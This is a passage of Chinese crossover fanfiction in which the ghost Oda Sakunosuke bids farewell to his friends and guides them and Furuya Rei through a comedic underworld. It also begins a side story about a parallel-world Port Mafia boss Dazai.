接住瞬间瘫软的金发青年,织田作茫然地双手架起对方,看向笑到快要昏厥的太宰治。 “太宰?” 他没想到国木田独步竟怕鬼到这种地步。 “哈哈哈哈,织田作干得漂亮,啊,忘记录像了,过两天我们再玩一次吧,拜托了~” 太宰治双手合十祈求道。 ———————— !!———————— 宰宰能有什么坏心眼呢~[求你了] 第77章 【我们的友谊从Lupin那一场算不上聚会的交谈开始。 首领的直属情报员,Mafia最年轻的干部,不杀人的奇怪黑/手/党。 三个根本不会有任何交集的人以Lupin为交叉点,在莫名其妙的默契中,我们的关系在无形中变得越来越近。 “如果现在过去Lupin,也许会遇到他们。” 每一次的聚会,都是在这种突然产生的念头下达成。 现在回忆起来,那真是一段非常美好的时光。 】 好像遭遇了一场非常恐怖的袭击! 国木田独步半梦半醒间,突然听到了中岛敦急促的呼唤,他艰难地睁开眼睛,面前正是中岛敦满是担忧的大脸。 “国木田先生!国木田先生你终于醒了!” 中岛敦将恢复意识的国木田独步从沙发上扶起来,贴心的他立马倒了杯热水递给上位完全清醒的后者。 “我这是……嘶!” 捂着头,国木田独步从不愿回忆的记忆深处找回了那段恐怖的记忆。 他和太宰遇到了黑/手/党的怨灵! 对了,太宰呢? “太宰他……” “太宰先生和织田作先生把你送到楼下后就离开了。” “织田先生也在?” “太宰先生说【国木田君一定会问为什么织田作也在】,特地交代我转告国木田先生。”中岛敦观察着国木田独步的脸色,小心翼翼地转达太宰治的留言。 “【因为国木田君被好心打招呼的织田作吓晕过去,为了安慰织田作受伤的心灵,作为侦探社最可靠的一员,我会好好补偿织田作,至于国木田君也不要因此感到愧疚……】” 看着国木田独步的脸越来越黑,中岛敦有点不敢往下说了。 国木田独步沉着脸端坐在沙发上,一口气喝完中岛敦送上的热水。 “然后呢?” “【作为报答,国木田君就帮我完成工作报告吧。】太宰先生是这样说的。” 中岛敦声音越来越低。 捏扁手中的纸杯,国木田独步发出怒吼:“太宰——!” 被国木田独步心心念念的太宰治正在和织田作之助“约会”。 并不是情侣间的那种甜蜜约会,只是朋友间肩并肩一起散步压马路加聊天的那种。 路上大多是太宰治叽叽喳喳地分享,织田作偶尔附和两句。 “我之前在这里帮助了一位被情人诈骗的女性哦~”太宰治的眼中亮起了前所未有的兴致,双手插在风衣口袋里,脚步轻快地走在织田作身边,“如果没有遇到我,那位女士可能已经成为港口的无名女/尸了,哪能像现在一样因为伪造身份欺骗政府高官被送进女子监狱吃穿不愁呢。” 说到这里,太宰治无奈地摊了摊手:“因为那位女士也是背着身为高官的丈夫外出找刺激,不过我还是善良地提供了帮助,帮他们通知了警察和被蒙在鼓里的丈夫,那位先生还特地找到侦探社表示了感谢。” 织田作:“毕竟太宰帮了那位先生大忙呢。” 如果是他的话,非必要一定不会轻易插手这种涉及到情感问题的麻烦事的。 离开港口Mafia后,太宰变得更善良温柔了呢。 “啊,还有这里,前不久我才协助横滨市警处理了一起炸/弹/案。” 他转向织田作,手舞足蹈地模仿着拆/弹的动作,“虽然线路很复杂,但是犯罪者的心思很好猜,一下子就找到了正确的线。” “真厉害啊。”织田作捧场道。 “因为是我的崇拜者啦,求爱失败选择了更极端的方法来追求幸福,经常遇到这样偏激的委托人我也很苦恼呢。” “这样啊,太偏激的话确实没办法呢。” “这种时候应该吐槽他为什么会被委托人因爱生恨引发恐/怖/袭击啊!织田作先生。” 坂口安吾的声音突然从两人身后传来。 “呀,安吾,今天下班这么早啊。” 太宰治举起双手朝坂口安吾挥了挥,那副阳光开朗的样子,让人根本想象不到这人四年前曾是令横滨各大组织闻风丧胆的黑/手/党干部。 “安吾。”织田作平静地打了个招呼,然后回答了坂口安吾的建议,“可是照安吾这样说起来,太宰是受害者才对。” 人类的感情是一门很复杂的学问。 爱与恨只是一念之差,太宰再怎么厉害,也不可能洞悉人的情感到这种地步。 织田作不认为太宰治会以玩弄女性感情为乐,发生这样的意外,或许是对方误会了什么,才钻了牛角尖。 坂口安吾沉默了。 他知道织田作先生对太宰的友人滤镜很厚,但没想到竟然有这么厚。 “对啊对啊,我明明是受害者。”太宰治将脑袋搭在织田作肩上,看向另一边的坂口安吾,“安吾就是嫉妒我被织田作夸奖了。” “我只是实话实说。”坂口安吾反驳。 织田作:“安吾也很厉害啊。” 他一时间没想到该夸些什么,头脑风暴半晌后,干巴巴地来了句。 “居然这么早就结束了繁重的工作。” 之前他偶然听过黑衣组织情报组的人抱怨拉莫尼完全是个工作机器,加班到深夜只是基本操作,忙起来甚至可以连续好多天不用睡觉。 做杀手的时候,织田作也会因为盯梢连着好几天不闭眼,但那只是少数情况。 这样看来,安吾或许已经突破了人类的界限,身体在数次突破极限的运转中实现了超进化。 “别把我提前结束加班描述得像是早退一样啊,织田作先生。” “嗯?会这样吗?” “当然会啊!” —— 在现世的任务已经圆满完成,很快便到了织田作返回地府的时间。 离开前,他分别向白马总监和种田长官道别。 前者通过黑田兵卫了解到了织田作在覆灭组织时采取的一系列行动。 于是在见到织田作时,表情在欣慰和震撼之间来回切换,白马总监复杂的神色令织田作感到不解,但出于对长者的尊敬,他并没有说出来。 “作为被协助的一方,我代表警方向你们致以最崇高的敬意与感激。” 白马总监说:“受组织覆灭的影响,我们终于找出了组织潜伏在警视厅的卧底,说来真是惭愧,竟然让敌人在眼皮子底下潜伏了这么久。” “请不要这样说,多亏了您提供的协助,我们才能这么迅速地拿下组织。” 织田作客套道,这种基本的人情往来他还是会一点的。 “接下来,你就要离开了吧。” “嗯,这段时间那边的工作一直是同事在帮忙完成,是时候返回了。” 白马总监看着面前沉稳的红发青年,他突然不知道该说些什么道别的话。 这些年的阅历只教会了他怎么与活人建立友好和谐的社会关系,跟亡魂道别还是第一次。 他的沉默落在织田作眼中,变成了离别的不舍与伤感。 善解人意的他立即宽慰道:“请不必介怀,不出意外的话,我们终将再次相会。” 白马总监的表情顿时变得更复杂了。 虽然知道对方是好意,但听亡魂这样说,总觉得有点奇怪啊。 “哈哈,是啊。” 白马总监露出一个僵硬的微笑。 织田作:? 和白马总监道别完,他又来到异能特务科。 因为被种田长官警告过不允许突然出现,所以织田作在现身前,特地释放出亡灵的阴气,将办公室的温度下降了好几度,以提醒种田长官自己到了。 被冷得打了好几个喷嚏的种田长官:“……” “好了,我知道你来了,感激把温度给我升回去!” 安吾的友人哪都好,就是性格太天然了,也不知道安吾是怎么忍下来的。 织田作显出身形,他刚开口说了个“我”字,就被种田长官打断了发言。 “你要离开了对吧。”他猜到了织田作的来意。 “珍惜最后留在现世的时间,好好和生前的友人们道别吧。”种田长官很清楚自家得力部下对这段友情的看重,比起将时间浪费在他这个不懂友情和羁绊的中年人身上,不如好好和彼此珍视的友人们多说几句。 毕竟他可不想再看到坂口安吾独自对着一张黑白的三人合影枯坐到天明了。 织田作愣了愣,种田长官给出这样的建议,他属实是有些意外的。 “多谢您的理解。”他说,“不过我刚刚路过安吾的办公室,他还在里面加班。” 而且从文件堆积的高度来看,那绝对不是今晚能完成的工作量。 种田长官:“……” 这家伙还是这么不会说话!想让安吾提前下班直接说就好了,干嘛这么拐弯抹角地提醒他! “我知道了!”他说着拿起手边的电话,“让坂口安吾把手头的工作先放放。” 说完,种田长官看向织田作:“对了,还有一件事。” 他顿了顿,似乎在思考如何表述接下来的话。 “让你们……咳,你回去和鬼灯先生说一下,不要盯着我的部下了,他们都还年轻……” 织田作:? 难道鬼灯大人跑到异能特务科物色狱卒候选人了吗? —— Lupin。 对三人来说,似乎并不存在所谓的“离别的伤感”这类情绪。 毕竟织田作并不是第二天朝阳升起时便会化作泡沫消失的小美人鱼,他只是短暂的离开很长一段时间而已。 比起离别,太宰治更在意的是坂口安吾的工作。 “安吾最近做好事了吗?不要松懈啊,我们都得为积攒功德好好努力才行!” “别把希望全寄托在别人身上啊!我可不认为我的功德能让你从阿鼻地狱无罪释放。” “话说我在黑/手/党的经历大部分都是十八岁以前的未成年时期,这样能减刑吗织田作?” “大概会吧,但特别恶劣的话是不会减刑的。” 织田作也是在少年时期犯下了大量不可饶恕的罪刑,因此被直接判往阿鼻地狱。 “死心吧,太宰,你的档案可是花了足足两年时间才勉强洗白,远远超过了减刑的范畴。”坂口安吾说着风凉话,但随后又向织田作咨询,“关于功德的计算,这有具体的测量方法吗?” 织田作摇了摇头:“如果带着不纯粹的目的帮助他人,这样是无法积攒功德的。” “确实如此。” 坂口安吾表示理解。 “不过…”织田作突然想到了什么,嘴角带着淡淡的笑意,“明晚有特别的地府开放参观活动,你们要来看看吗?” 这是鬼灯特地为异能特务科设置的特别开放日,毕竟经过上次短暂的协同办案,鬼灯对特务科众人的工作能力赞不绝口。 这样一来,既是对特务科提供协助的感谢,也能提前为狱卒招聘打个好基础。 听说这件事后,松田他们联合起来为警校时期的同期、目前唯一存活的降谷零也申请了一个名额。 考虑到织田作的两位友人同样在这次的任务中提供了关键性的帮助,鬼灯表示他们也可以一起来。 因为与异能特务科联合抓捕费奥多尔时坂口安吾正在住院,所以鬼灯尚未发现坂口安吾这个潜力无限的天选打工人。 “地府?我要去!”太宰治第一个举手报名。 坂口安吾无奈地推了推眼镜:“这真的不是有去无回的单程票吗?不过为了避免太宰在地府赖着不走,我也一起去吧。” 太宰治意味深长地看了坂口安吾一眼:“明明很想去,偏偏要说得这么勉强,安吾真是傲娇呢。” 织田作抿了一口酒,理解道:“是傲娇啊。” 坂口安吾顿时红了脸。 “别把我描述得这么奇怪啊!还有织田作先生,你其实根本不知道傲娇是什么意思吧,别跟着太宰瞎起哄啊!” ———————— !!———————— 地府即将迎来现世观光团[撒花] 虽然被加入观光名单,但本人毫不知情的零零:最近后背怎么一直凉飕飕的[问号] 第78章 【命运是公平的,当你沉浸在拥有幸福的喜悦中时,就该做好失去的准备了。 所处立场的不同,注定我们三人的未来会走上不同的道路。 那段充斥着不得已的背叛与血腥暴力的记忆,时刻提醒着我的罪孽深重。 不过,还好他们都不会受困于回忆无法向前。 幸好,他们都走向了光明的未来。 】 劳累的一天的降谷零刚躺上床,就被潮水般袭来的睡意裹挟着陷入了梦乡。 他是一个很少做梦的人,但今天很奇怪,刚刚入睡,他就站到了一条用漆黑石板铺就的道路上。 道路两侧耸立着两排雕刻着神秘纹路的铁柱,在那之后是漆黑一片的寂静空间,身后的来路已经变成了一个闪烁着微光的小点,至于身前,则是—— “终于等到你了,Zero。” 结束信使的工作后,诸伏景光因为阳光帅气的外貌和温和的脾气,被鬼灯安排到黄泉路上负责引渡迷失方向的亡灵。 此时的他穿着狱卒的专用制服,约束亡灵的铁链和狼牙棒被别在身侧。 没想到就算组织覆灭了,降谷零也工作到凌晨两点才睡觉,在这里等了近四个小时的他笑容中带着丝丝黑气。 降谷零茫然地看着眼前的幼驯染。 如果是梦的话,难道在他的潜意识里Hiro死后会成为地府的狱卒吗? 可这种感觉未免太真实了点,他抬起手掐了掐脸,有疼痛的感觉。 梦里会有痛觉吗? 他呆呆地站在路上,既不往前走,也不回应诸伏景光。 “抱歉,麻烦让一让。” 身侧传来的推力让他被动让开道路,降谷零下意识侧头,在看到来人的脸后更是震惊。 同样是狱卒打扮的织田作领着一大帮人浩浩荡荡地走来。 那群人跟游客一样,四处张望不说,还叽叽喳喳地讨论着“原来黄泉路长这样”“彼岸花呢?牛头马面呢?”“待会能见到阎魔大王吗?”之类的话。 太宰治和坂口安吾也来了,他们就跟在织田作之助身边。 和游客团一样,这些人根本不在意他这个梦境的“主人”,纷纷从他身边路过,连一个眼神也没有分过来。 降谷零觉得不太对。 这不是他的梦吗?为什么在他的梦里自己好像只是一个微不足道的路人? “Zero?” 见自家幼驯染像是加班过度导致大脑短路一般,跟木头一样杵在路上,诸伏景光再次喊了他一声。 降谷零终于回过神来:“Hiro。” 虽然装扮过于阴间,但这是他第一次在梦里见到会和自己对话的幼驯染,看着对方脸上那熟悉的微笑,降谷零眼中满是思念与懊悔。 他猛地扑上去,给了诸伏景光一个大大的拥抱。 “Hiro。” 对方的身体是冰凉的,但回抱他的力气很大,甚至给降谷零一种再大力一点他就会被拦腰截断的错觉。 “哈哈,我猜对了吧,小降谷一定会拥抱景光。” 萩原研二的声音响起,他和伊达航刚结束工作,听说降谷零才到地府,于是匆匆赶来。 “真好啊,幼驯染。”伊达航笑着说。 听到熟悉的声音,降谷零将头从诸伏景光的肩上抬起。 “萩原,还有班长?” 他的梦也太全面了吧。 不过,为什么少了一个人? “松田呢?”他下意识问道。 萩原研二:“小阵平还在测试自动化行刑流水线,短时间内肯定结束不了,我们直接过去找他吧。” 自动化行刑流水线是什么? 降谷零没想到自己的梦里还会自动完善设定,他松开诸伏景光,脸上露出前所未有的轻松表情。 哪怕只是梦境,也让他好好享受此刻难能可贵的重逢吧。 “好啊,我们过去吧。”他说。 至于之前从他身边路过的织田作之助和旅游团一行人。 哼,现在看来,他们才是这场梦中无关紧要的路人。 —— 在接待处,将异能特务科的众人交给负责领路的唐瓜和茄子后,织田作带着两位好友在地府里闲逛起来。 “哇哦,金鱼竟然能和植物结合在一起。” 路过鬼灯的金鱼草基地时,太宰治看着满院的金鱼草发出惊叹。 坂口安吾猝不及防地和其中一株金鱼草四目相对,除了拓宽了见识,他感觉在对视的瞬间,自己的san值也下降了不少。 “这种植物,不对,这种动物,也不对。”他反复斟酌着如何描述金鱼草,最后说,“这种动植物是地府特有的吗?” 不会是什么邪恶的实验产物吧? “应该是吧。”织田作没有特地了解过金鱼草的来历,他只见过鬼灯把金鱼草榨汁或入药,然后拿给阎魔大王服用。 于是,他介绍道:“金鱼草能入药,有止咳健体之类的效用,大概。” “是煮成鱼汤那种吗?”太宰治好奇问道。 坂口安吾:“真正值得关注的是织田作先生结尾的那句大概吧。” “榨汁后直接饮用的比较多。”织田作平静道。 “榨汁?” 太宰治想象了一下鱼被榨汁后的口感和味道,顿时露出被恶心到的表情,“太可怕了,我们还是离开这里吧。” 坂口安吾难得的表示了赞同。 于是织田作带着两人继续往前,没一会就走到了松田阵平的机械化工坊外。 因为后者的自动化提案被鬼灯大人高度重视,在工坊的隔壁,特地为他新建了一个自动化处刑流水车间。 想着太宰治可能会对这个感兴趣,于是带着两人进入到正在试运行的车间内。 “像是学校组织的工厂参观活动呢。”太宰治表现得很是期待。 车间内,织田作因为没有工程师权限,只能在走廊上通过玻璃观看里面的流水线。 只见一个骂骂咧咧的鬼魂被锁链绑着吊在传送带上方,随着机械的启动,被运输到第一个自动鞭笞机前,被以辣椒水浸泡过的荆棘铁鞭抽得体无完肤后,又被锁链吊起来,运送到油锅上方。 在那之后,还有拔舌区、腰斩区、刀山火海之类的。 经历完一轮,鬼魂已经骂不出声了,只能抽噎着哭诉反省自己的罪过。 “从结果上来看,松田这次的试验很成功呢。”虽然是赞叹,但织田作的声音听不出丝毫起伏。 “不过很多亡魂犯下的罪过并不需要经历完所有的刑罚,所以松田还在研究提前对亡魂进行分类排列,其中还涉及到编程代码之类的,虽然听不懂,但如果能够投入量产的化,大家的工作会轻松不少。” 说起工作相关的话题,织田作的话明显变多了。 看得出来他在很认真的和友人们分享自己当前的工作环境。 坂口安吾:“……” 他当然知道这个时候应该积极地加入到织田作的话题讨论中去,但这种话题对还是活人的他来说未免太超前了点。 机械化全自动的处刑流水线也太可怕了吧! 这种只会执行指令的冰冷程序到底是谁设计出来的啊,光是看着他就替受刑的亡魂感到绝望了。 看着亡魂在流水线的摧残下痛哭流涕,太宰治有一瞬间幻视了被吊在传送带上的亡魂是自己。 他突然意识到这些年来屡试屡败的自杀行动未尝不是件好事。 要是没有安吾的功德,贸然来到地府,他将遭受的刑罚或许比目前所见的更残忍可怕。 太宰治突然打了个寒战。 他可是最怕痛的了。 这样一看,活着其实也不全是坏事,至少得在安吾死之前好好地活着! 期间一直观察着太宰治的表情,见到对方神情不断变换,织田作默默侧过头,嘴角偷偷上扬。 原来太宰也会害怕啊。 “你们说这里是松田设计的?!” 突如其来的大喊顿时吸引了织田作他们的视线,转头看过去,是刚到这里的降谷零。 看着和屠宰场一样的处刑流水线,他难以置信地喃喃自语:“松田在我的梦里竟然是杀人魔一样的角色。” 诸伏景光沉默地和萩原研二对视。 和坚定的唯物主义打交道就是这样,无论发生了什么,对方都总能用科学的观点解释各种不科学的现象。 “喂,你说谁是杀人魔呢?” 刚结束一轮测试的松田阵平穿着一身黑色的研究服走出,衣摆处还在往下滴血。 戴着墨镜的他神色不善地走到降谷零面前,揪住后者的衣领,郑重强调:“我可是带领地府迈向机械化美好未来的先驱者。” 说完,他取出口袋里的对讲机,按住说话键。 “再给我送一批亡魂过来,最好是十恶不赦的恶鬼,这一批没几个硬骨头,才走完一轮就哭爹喊娘忏悔了,完全测试不出效果。” “比起亡魂,小阵平更像是恶鬼呢。”萩原研二吐槽。 “嗯?”松田阵平立即甩过去一个警告的视线。 萩原研二立马装作什么都没说的样子,还将手放在嘴边做了个拉拉链的动作。 降谷零:“……” 亲自目睹过地府的一切后,他的理智告诉他,这可能不是梦。 但他二十多年来的科学信念仍在苦苦支撑。 他想要静静。 ———————— !!———————— 见到同期很高兴,但科学世界观崩塌的零零:[小丑] 第79章 人传统认知中的地府,是个处处充斥着哀嚎与惨叫的彼世地狱。 就算没有满地鲜血淋漓的残肢断臂,至少也有拎着狼牙棒和铁锁链的獠牙鬼差恶狠狠地盯着每一个亡魂。 这里虽然有凄厉的痛骂,鬼差却不像各种文学作品中描述的那样不近人情。 “Zero,你的表情看起来很疲惫,是最近工作太累了吗?” “喂,景老爷你是他老家来的亲戚吗?这么贴心。” “我看小降谷是还在适应阶段吧,大家先让让,给他点空间冷静一下。” “所以我就说应该拜托织田前辈提前和零打个招呼……” 降谷零眼前的四位同期兼鬼差七嘴八舌地说着,他作为话题中心的当事人,看着面前除了肤色惨白外和生前没什么两样的同期们。 停止运转的大脑经过时间的冷却重新启动。 “先等一下。” 随着他的发言,其他鬼顿时停止了叽叽喳喳的讨论,纷纷看向降谷零。 “织田前辈?” 他一下子就抓住了重点。 “织田就在那边。” 没搞懂降谷零怎么一来就问织田作之助,但好心的松田还是立刻指出了对方的所在。 恰好这会织田作之助正带着他的两位友人参观到这里。 “嗯?” 突然被提及的织田作茫然地抬头。 果然—— 这里并不是他的梦境! 降谷零深吸一口,抓住又想像无关路人一样从他们身边路过的织田作。 “这是怎么一回事!” 织田作看了看降谷零,又看了看四位同事。虽然不明白发生了什么,他还是认真地解释道。 “这是专门为现世协助者开放的特别参观活动。” “因为松田和诸伏他们联名申请,所以特地为你增加了一个名额。” 对方说的每一个字他都听得懂,但连起来就有种少年漫主角即将开启异世冒险的既视感。 降谷零平复下心情,一字一句道:“所以你也是鬼差。” 接着他转头看向四位同期:“这里是地府,而我是参观者。” 好小众的文字。 地府是能随便参观的吗,真不愧是他的同期,走到哪都不忘带上他一起。 今晚过去,他还能平安地从床上醒来吗? “废话。”松田阵平一把搂住他的肩膀,将人按住狠狠地揉搓着那头顺滑的金发,“平时不是挺精明的吗,怎么到这里就变迟钝了。” “哈哈,很少见到这个样子的Zero呢。”诸伏景光乐呵呵地看着自家幼驯染被松田阵平“欺压”。 从震撼中回过神来,降谷零第一时间从松田阵平的魔爪下逃了出来,利用巧劲反过来压制住了后者。 “先别说我,你的那些发明是怎么回事啊。” 这才过去几年,松田阵平体内的暴力因子在地府彻底得到释放了啊。 比起这个自动化…什么的流水线,组织里那些疯狂的研究员简直弱爆了。 说到自己引以为傲的设计,松田阵平瞬间昂首挺胸:“很厉害吧,这可是地府首次工业改革的成果,接下来还有更多震撼性的产品即将推出,等你来的时候,这里审判行刑模式将彻底进入科技时代。” “真不愧是小阵平。” 四周一片寂静,只有萩原研二捧场地鼓起掌来。 降谷零:“……” 地府已经足够可怕了,再加上松田阵平这个大魔王,他都不敢想象自己死亡后会遭遇何等恐怖的审判。 一旁,同样被松田阵平的豪言壮语震慑到的太宰治默默推着织田作离开了这片危险区域。 尚未走远,他们还听到松田阵平大喊不远处负责运送亡魂的狱卒把他那期《地府轶闻》拿过来,让降谷零好好瞻仰下他在地府的伟岸形象。 “《地府轶闻》。” 太宰治念了一遍,随后他双眼亮晶晶地看向织田作,“织田作我约的稿子写得怎么样了?” 被那双盛满期待的鸢眸注视着,织田作立即使用了从工藤优作那里学到的反催稿技巧。 “快了。” 太宰治不满:“什么嘛,织田作这是在敷衍吗?我想知道具体的进度。” “快收尾了。” “敷衍太明显了啊织田作先生!” 坂口安吾也加入了对话。 将两位友人的质疑当作一段普通且日常的对话,织田作完全感受不到被催稿的紧张感,心态平稳得犹如一潭死水。 “完稿后会第一时间给你们看的。” 太宰治:“……” “接下来带你们去阎魔殿看看吧。”织田作自然地将话题从催稿转移到参观的行程安排上。 坂口安吾:“不要转移话题啊!” “那去体验一下松田的最新发明怎么样?” 面对这明晃晃的威胁,两人的反应是—— 坂口安吾:“去阎魔殿吧。” 太宰治:“赞同。” —— “松田在织田先生眼中的形象竟然这么高大!” 降谷零看完松田阵平的故事,像是看到了异次元的外星人一样惊讶。 要知道松田的个性可是杜宾和柴犬的结合体,被织田作之助这么评价,怕不是尾巴要翘到天上去了。 “哼哼,这就是本大人的真实写照。”松田阵平叉腰道。 “比起松田,我觉得零更应该看看研二和景光的特刊。”伊达航变魔术一样从身后拿出两本《地府轶闻》。 他像是预知了会有这样一幕的发生,所以提前做好了准备。 诸伏景光不像松田阵平那样爱炫耀,看到自己的特刊,他有些难为情道:“班长,你竟然随身携带这个。” 萩原研二则是从容地接过两本特刊,从降谷零手中抽出松田阵平的那本后,丝滑地替换上自己和诸伏景光的。 他撩起前额挡住眼睛的碎发,摆了个自以为很迷人的姿势。 “论魅力,研二酱可是不输任何人的。” 对于萩原研二不定时散发魅力的行为,他们都习以为常。 降谷零拿着两本特刊,疑惑地看向伊达航:“班长你没有吗?” 伊达航:“……哈哈,真是抱歉我没有呢。” —— 阎魔殿。 织田作他们正好遇上了阎魔大王和鬼灯同西方地狱之主撒旦移交犯人的场合。 更巧的是,这位被移交的犯人他们都认识。 ——是数次为横滨带来巨大危机的“魔人”费奥多尔。 被穿透魂体的锁链捆绑着,费奥多尔看起来就像个了无生机的破碎人偶。 察觉到刺骨的目光正灼烧着自己的灵魂,他缓缓抬头,那双紫红色的眼眸中只剩下空洞和虚无。 然后他看到在织田作的带领下,和外出春游的小学生一样挂着参观证的太宰治和坂口安吾。 人生最可怕的事情之一,就是在你最落魄的时候,遇上最讨厌的敌人。 费奥多尔:“……” 他一时间竟不知该以何种表情做出应对。 太宰治像是欣赏百万名画一样,看着狼狈的费奥多尔啧啧称奇。 “没想到还能收获意外之喜。” 嘴巴被封印的费奥多尔移开视线。 眼不见为净。 但太宰治可不会就这样简单地放过他。 “呀,安吾,你看那是谁!” “显而易见,是被织田作先生亲自逮捕的魔人。” “好可怜哦,连嘴巴都被封上了。” “这是他应得的。” 费奥多尔:“……” 阎魔也好,撒旦也好,动作能快一点吗!犯人移交的手续就这么复杂吗?为什么还没走完程序! 实在不行先把他送回阿鼻地狱吧! —— 考虑到参观的众人都还是生者,所以开放参观的时间有限,很快就到了送生者离开的时候。 熟悉的黄泉路上,诸伏景光笑眯眯地拿着一叠保密承诺书,盯着异能特务科的众人签完才放他们离开。 至于降谷零。 他从怀里取出一份单独的承诺书。 “Zero,希望你能顺遂平安地过完一生。” 湛蓝的猫眼中满是祝福与不舍,他任由降谷零突然将自己紧紧抱住,双手自然地抚上对方的脊背。 “我们在未来等你。” 这是降谷零从睡梦中苏醒前听到的最后一句话。 另一边,织田作拿给太宰治和坂口安吾的保密承诺书和降谷零的那份一样。 他们能保留今晚的记忆,但无法对外界提及。 不像异能特务科的那些人,他们只会觉得自己做了个奇幻的梦,等到死亡的那一天,才会恢复今晚的记忆。 因为异能特务科那边来的人都是鬼灯精心挑选的狱卒预备役,这次来有很大一部分原因是提前挑选优秀的员工。 所以他们不需要在活着的时候保留这段记忆。 比起降谷零和诸伏景光的离别拥抱,无赖派三人的道别更内敛含蓄。 “下次见啦,织田作~”太宰治似乎笃定他们的分别不会持续太久。 他脸上带着爽朗的笑意,丝毫看不出离别的悲伤。 坂口安吾同样露出一个淡淡的笑容:“万事保重,织田作先生。” “嗯。” 织田作同样回以平淡的微笑,“下次见。” 他在这次的外派工作中表现突出,考虑到他和友人们的羁绊,阎魔大王特地批准他,就算没有血缘上的亲人,他也能在每年的盂兰盆节重返现世,与友人重逢。 过不了多久,他们又会再见。 所以啊,无需悲伤,因为离别是为了更美好的重逢。 (正文完) ———————— !!———————— 无赖派万岁! [撒花] 后面就是首领宰的主场番外啦~ ps:为了全勤,接下来几天的更新时间依然是每天12点,下个月如果有变更会提前告诉大家[狗头叼玫瑰] 第80章 “织田。” 办公桌前,鬼灯抬起头,将一份文件递给织田作之助。 “我从上次逮捕的西方人那里听说了一件事。” 他看着织田作,双手交叉撑起下巴,“关于平行世界,织田你知道吗?” 将文件拿在手上,织田作没有第一时间打开查看里面的内容,他思考起鬼灯的问题。 “平行世界啊……有点像时髦的小说里会出现的设定。” “小说吗。”鬼灯沉吟片刻,“的确是你会给出的回答。” “不过接下来我要说的可不是小说。” 他指向织田作手中的文件,解释道,“我发现了一位绝佳的狱卒候选人,不过他并不属于我们所在的世界。” “如果放着不管的话,他会在十天后死亡,灵魂从此消散不复存在。” “经过我的观察,普通的招揽是绝对无法打动这位先生的。” 被鬼灯那双了无生机的鬼瞳注视着,织田作恍然大悟,指了指自己。 “我?” 难道如果由他进行招揽,那位先生就会同意入职地府吗? 这位先生……是平行世界的太宰或者安吾? “打开看看吧。” “是。” 织田作打开文件,在第一页果然看到了他熟悉的人。 【姓名:太宰治 性别:男 年龄:二十二岁 职业:港口Mafia首领 异能:人间失格 ……】 他第一时间想到的不是竟然真的存在平行世界,或是地府将在几十年后的某天迎来两位太宰治。 而是—— “太宰他,会在十天后死亡……” 虽然文件中的太宰治并不是自己熟悉的那位,但织田作的心底还是莫名涌出一股悲伤的情绪。 他分明才二十二岁。 “这次工作需要你前往平行世界,期间若是有任何超出你应对范围的意外发生,就用这枚令牌联系我。” 鬼灯熟练地发布任务,作为人类和恶灵的结合体,他在地府存在了数千年,死亡与轮回是身边再熟悉不过的常态。 他能感受到织田作的情绪变化,但这种名为“悲伤”的情感对他来说太过陌生。 “考虑到那边的世界也有一位织田作之助,为了避免你们同时出现引发世人的混乱,所以你需要稍微改变一下样貌。” 从诸伏景光那里听说过织田作令人绝望的伪装手法,鬼灯这次并不打算寄希望于织田作。 他打开抽屉,从中取出一枚黑漆漆的药丸。 “这是我根据APTX的原理研制的新药,能不借外力暂时改变鬼魂的外在年龄。” 毕竟织田作本身并不具备改变魂体年龄的能力,除了把他送去重塑魂体,就只能通过这个方法了。 改变年龄? 织田作觉得挺新奇的,于是跳过了询问配方这一可能会让自己感到不适的步骤,果断将药丸接过来吞了下去。 药效发生得很快,他的魂体肉眼可见的缩小了一圈。 走到镜子前,织田作发现自己回到了少年时期。 外貌发生了改变,但他身上那股成年社会人的颓废气场仍然在。 看着织田作,鬼灯点了点头,感叹:“果然人和动物一样,幼年的某个阶段就是最佳赏味期。” 少年织田作:“嗯?” “好了,你有十天的时间,出差期间《地府轶闻》那边的更新可以暂缓,出发吧。” —— 好消息:十天内不用考虑写稿的问题。 坏消息:十天后另一个世界的太宰会死,而自己就是前去引渡太宰亡灵的狱卒。 带着这样复杂的心情,织田作出现在另一个世界的横滨街头。 以少年人的姿态走在路上,他尽可能地避开路边的监控,观察着来往的路人。 虽说是平行世界,这里和他之前见过的横滨没什么区别。 这里的太宰是港口Mafia的首领,可以说是横滨最难见到的人之一。 织田作思考着为什么鬼灯大人要给自己十天的时间提前来到这个世界,鬼灯大人做出这样的决策一定有他的理由。 难道是因为太宰可能会拒绝地府的招揽,所以需要他花十天的时间来说服对方吗。 还有,这个世界的“织田作之助”呢? 总觉得这一次的出差任务处处都透露着不寻常,他必须谨慎行事才行。 得先见到太宰。 织田作做出决定,随即掉转步伐,朝着港口大楼走去。 暗中潜入可能会被当成入侵者处决,哪怕他有十足的把握不会被逮住,但那样他就无法和太宰正常对话。 而且要是在潜入途中遇到另一个自己就更麻烦了。 所以—— “名字。” “织田作。” “年龄。” “二、十八岁。” “喂,小鬼,你难道以为乱报一个年龄就能骗过大叔我的眼睛吗?” 港口Mafia负责招聘的HR大叔盯着眼前就算被质疑也面不改色的红发少年。 本想说二十六岁的织田作沉默了半晌。 “我成年了。” 他干巴巴地吐出一句毫无说服力的回答。 HR拉下墨镜,以便更直观地打量着织田作的外貌。 “只有未成年的小鬼才会这样解释。” “小屁孩赶紧回家玩去吧,这里可不是你们该来的地方,要是让我们因为聘用童工被举报的话,那真是会成为横滨本年度最大笑话。” HR朝织田作摆了摆手,随即身后不知从何处突然冒出来两个黑西装,半拖半抱地就把织田作“请”了出去。 织田作:“……” 这可麻烦了啊。 因为外貌年龄的限制,他不但进入不了港口Mafia,甚至连普通的工作能找不到。 难道要重操旧业? 走出港口大楼,他绕着外围走了一圈,然后他发现了一个能带他见首领的绝佳人选。 中原中也今天也很不高兴。 因为混蛋Boss亲自培养的游击队长是个不受控制的野兽,只是普通的镇压任务而已,就把任务对象撕得到处都是,这可没法用瓦斯爆炸来解释啊。 为这件事,他再次抽出宝贵的休息时间向混蛋Boss汇报了工作,可对方只会瞪着一只空洞的眼睛,像是在注视另一个次元的世界。 真是没救了。 带着一肚子火,他走到停车场,正要打开车门坐进去,突然发现另一侧的副驾驶门外有一搓呆毛在晃来晃去。 敌袭? “你的胆子很大嘛——” 暗红色的异能覆盖在身体表面,中原中也轻轻一跃,来到另一侧。 却猝不及防地对上一双平静的海蓝色眼眸。 在这里蹲守了一个多小时的织田作看着满脸错愕的中原中也。 内心暗自感叹,还好没有认错车。 “我想加入港口Mafia。”他直白地说出自己此行的目的。 中原中也:“哈?” 看着面前明显未成年的小鬼,他一拳就要敲在对方头上。 “你说什么大话呢小鬼!” 